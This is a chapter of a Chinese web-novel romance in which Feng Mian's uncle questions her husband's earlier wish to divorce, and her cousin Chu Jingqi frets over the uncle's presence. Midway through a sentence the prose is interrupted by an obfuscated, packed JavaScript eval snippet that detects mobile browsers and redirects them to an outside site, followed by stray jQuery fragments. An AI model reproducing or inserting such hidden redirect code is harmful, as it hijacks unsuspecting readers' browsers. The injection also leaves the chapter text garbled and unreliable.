79. 第 79 章

作品:《春色入关来

    “他竟还敢与你和离?”


    马车上,封辞偃一袭墨色常服,斜倚在窗边,眉峰轻蹙,颇为不满。这几日他与封眠培养了几日的叔侄感情,终于撬开了一点少女心事,得知大婚日两人便曾商量着和离之事,当下只觉得一股火直冲头顶,恨不得立刻将百里浔舟那小子倒吊起来狠狠教训一顿。


    “只是最开始时想要和离,还并未和离呢。”封眠纠正道,小叔叔这说辞,好似她二人已经正式和离了一般。


    “想也不行,想也有罪。”封辞偃全然不讲道理,自家侄女样貌好、家世好、脾气好,有钱有权有民心,多少人几辈子都求不来这样一位夫人,百里那臭小子倒好,大婚当日便与人提和离?也就是封眠心性豁达,若是换个心思敏感细腻的小娘子,怕是隔日便要寻短见了。


    他兀自气恼一阵,忽地凝目看向封眠,“怎么,他如今又改了主意,不想与你和离了?”


    封眠眼神飘忽了一瞬,颊侧染上点点红晕,与年纪相近的长辈谈起自己的感情,让她有些羞赧,却仍是诚实地低声道:“不知道,他并未直言,只是,只是我观他言行,自己胡乱猜的。”


    若他还一心想着和离,何必在她身陷险境时,不顾自身安危也要陪在她身侧呢?如果说只是因为二人尚顶着夫妻的名头,他要尽为夫的职责,那么易地而处,她可不会为了没有丝毫感情的丈夫,而让自己涉险。


    脸颊微微一痛,封辞偃不大高兴地捏住了她的脸颊肉,谆谆教诲:“男人最会做戏,几分真情几分假意,岂是那么容易看透的?没听过‘男人的嘴,骗人的鬼’吗?你年纪小,见过的人也少,被骗了都没地方哭!”


    封眠也不大高兴地瞧他,她能哭的地方可多了,不说北疆有那么大一座郡主府,舅舅还在宫里给她留着暑月殿呢。


    但这话不好说出口,小叔叔心眼小,又讨厌极了褚家人,听了必然要生气的,于是眼珠一转,丢了个问题回去:“喔,那这么说,小叔叔你的话也不能信咯?我父亲当年也是这般吗?”


    “我……”封辞偃一时语塞,皱着眉反驳,“百里那臭小子怎么能和你父亲相提并论?”


    “阿兄可从未与嫂嫂提过什么和离。泰安十年,北疆再生乱象,先帝召年轻将领们入宫,我阿兄便在其列。那次入宫,他对你母亲一见钟情,便舍了命去搏军功,用了四年获封镇国大将军,才向先帝求来这门婚事。”


    “大婚当日,他立誓此生不纳二色,与你母亲一生一世一双人。”


    “若非……”他话音顿了顿,眼底掠过一丝复杂痛色。“若非……陛下将他急派远征,你母亲生产时,他怎会不在身旁?陛下倒好意思以此为由责难阿兄,还将你也扣在宫中……”


    目光触及封眠微微出神的脸庞,封辞偃终究是没有继续说下去,他是厌恶嘉裕帝,厌恶褚家人,但也无法否认他们亦是封眠的血亲,更是陪伴她长大的人。没有必要让她在其中做选择。


    她只需平安喜乐就好。


    “百里浔舟若做不到我阿兄那般,可没资格娶你。”他语气斩钉截铁,忽又意识到两人都已经大婚了,又生硬改口:“没资格与你共度余生。”


    那是自然的,封眠在心里猛猛点头,她不养面首,夫君自然也不能蓄姬妾,只是……


    “你我在这里空谈也无用,又不知他心中是如何想的,若他仍想与我和离呢?”


    听封眠这般说,封辞偃心下明了,这丫头怕是已对那小子上了心。他暗自咬牙,忍不住又在心中将百里臭小子翻来覆去揍了一顿,决心绝不能让他太轻易得逞。


    “那还不简单。”封辞偃唇角勾起一抹略带狡黠的弧度,冲封眠勾了勾手指。封眠附耳过去,听他在自己耳边细细絮语,眼眸倏地睁圆。


    马车在王府门前缓缓停下,封眠尚在思索方才封辞偃与她说的种种,晕乎乎地刚踏下车辕,忽地一道人影高喊着冲至面前,张开双臂就要抱过来。


    “小表妹!你还活着真是太好了!”褚景淇亲眼瞧见封眠完完整整健健康康地从马车上走下来,眼含热泪,情绪激动。


    咔嚓,就在褚景淇即将要抱住封眠时,两只手同时精准地握住了他的手臂,不容置疑地将他从封眠身前拉开。


    褚景淇渐渐明朗的视野中出现一张有些眼熟的面容,他眨巴眨巴眼,回忆了半晌,“你是……你是那个傅……”


    封辞偃皮笑肉不笑地松开桎梏着褚景淇手臂的双手,提醒:“傅辞偃。”


    想起来了,在黑石沟见过。褚景淇胡乱地点点头,目光却在封辞偃和身后的马车上打转,方才这人是从小表妹的马车上下来的吧?


    他一直等在王府门口,清清楚楚地瞧见流萤和雾柳都在马车外头,也就是说,这一路上,马车里只有小表妹和这位傅公子两人?


    这似曾相识的一幕……褚景淇想起上次自己误会小表妹与隔壁元公子的乌龙,决定谨慎一些,问道:“傅公子怎么与我小表妹同乘一车?是有要事相商?”


    “与你何干?”封辞偃对褚家人人没半点好脸色,丢下这句话便径直越过他。


    褚景淇被他这态度噎得一怔,随即更为震惊地看着他大摇大摆地走入王府,又惊讶地张大了嘴巴,“他、他这就进去了?”


    “王爷与傅公子一见如故,结为忘年交,便邀他在王府小住。”封眠拿出一早便商量好的说辞来搪塞褚景淇,边与他往里走边问,“舅母许你出来乱跑了?”


    秦王妃一听说白水县闹出了疫病,便立即派人去将不肯走的褚景淇抓了回去,严令他不许再出门乱跑。因秦王妃也为封眠调度筹措物资,褚景淇便也没再闹腾,老老实实在王府里等消息。


    直到听闻封眠平安、疫情也已受控,他便急着想去探望,可秦王妃仍不放心,又硬扣了他几日。待外头风波彻底平息,才终于点头放行。


    “你没生我气吧?”褚景淇凑近了些,小心翼翼地偷瞧封眠的脸色。


    封眠好笑:“在九哥心里,我就是那么小气的人啊?那我可真要生气了。”


    “哪里哪里!”褚景淇连忙摆手,“小表妹是我认识的姑娘中,最大度最聪慧最不同寻常的!”


    “弥荼圣女也包括在内吗?”


    “她……她自然要另论的。”提起弥荼,,褚景淇耳根微热,不好意思地挠了挠头,随即又兴奋起来,“对了,母妃同意了,她说只要我能凭自己的本事让弥荼答应与我成婚,她绝对不拦着。”


    其实秦王妃原话是“你能追得上再说吧”,语气里全是对儿子满满的不信任。


    “那你……”封眠话未说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382037|178713||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    完,就见他眼巴巴地望着自己,“怎么了?”


    “你还有没有什么类似互市那样的热闹事,可以邀请弥荼来玩的?”


    封眠遗憾摇头,褚景淇略有些失望,但很快重振旗鼓:“无妨,我的法子多的是!”


    话音随着他踏入藏弓院,看见某个施施然躺在院中躺椅上的身影时戛然而止。这位傅公子就算是定北王的忘年交,也不好在百里不在家的时候,这么堂而皇之地躺在人家夫妻俩的院子里吧?


    此人还有没有一点身为成年男客的自觉了?


    褚景淇抱臂踱到躺椅旁,俯身盯着那张懒洋洋的脸:“傅公子,世子殿下不在,你这般……不太好吧?”


    “光天化日,众目睽睽,有何不妥?”封辞偃懒懒地睁开一只眼瞥他,“心脏的人,才瞧什么都脏。”


    说罢还不耐烦地挥挥手,“劳驾让让,你挡着我晒太阳了。”


    褚景淇险些被气个倒仰。


    正在此时,一道劲瘦身影无声步入院中。轻衣垂首:“世子妃在吗?”


    封眠刚更衣出来,见是轻衣,心头不由一紧。轻衣身手极佳,行踪莫测,性子又极稳,平日唯有传递紧要军报时才会现身。


    她顿时提起了心:“怎么了?出了什么事?”


    轻衣言简意赅:“世子殿下说今晚会早些回来,接您去凤阳楼用晚膳。”


    “就为这事?”


    轻衣一点头,待封眠应了声“知道了”,便如来时一般悄无声息地离去。


    景淇顿时得意起来,抱臂斜睨着躺椅上的人:等着吧,本侯的正牌妹夫马上就要回来收拾你了!


    却见方才还懒洋洋的封辞偃忽然坐起身来,正色道:“今日是不是该去成大人处瞧一瞧种子了?”


    离开白水县后,封眠便将互市上得来的珍贵种子交予了成立虚,并还好它们一直被单独存放在地窖里,不必因疫病的原因而被销毁,否则封眠真是要心疼坏了。


    成立虚自那之后便带着人在封眠特意准备的庄园住下了,日夜钻研试种,封眠每隔两三日便会去查看进展。


    眼下确实又该去了,只是晚膳……


    封辞偃挑眉看她:“还记得我说过什么吗?”


    封眠犹豫一瞬,终是点头:“好。”


    褚景淇:???什么情况?


    太阳刚刚向西倾斜寸许,便迫不及待地回到了藏弓院。他惦记着要与封眠一道用晚膳,头次从疾羽营早退,结果一踏进院子便顿住了脚步。


    院中空荡荡的,不像是有人在的样子,正迟疑着,一道人影从侧边廊下呜呜哇哇地扑了过来。


    褚景淇:“小百里!你可算是回来了!”


    “出什么事了?”百里浔舟心下一沉,唯恐封眠有事。


    褚景淇愤怒又委屈地将封眠被傅辞偃带走的事添油加醋说了一遍:“我发誓!他绝对是听见你要回来用晚膳,才带着小表妹出门的!他还不许我跟着!说他们要做正事,我跟去也没有用处!这个傅辞偃,当真是太过分了!”


    他用力拍拍百里浔舟的肩:“小百里,你可要振作起来啊!顾春温和陆鸣竹便罢了,这不知道哪儿冒出来的傅公子,也敢在你面前摆谱?!”


    百里浔舟:“……”


    别说了,心里苦。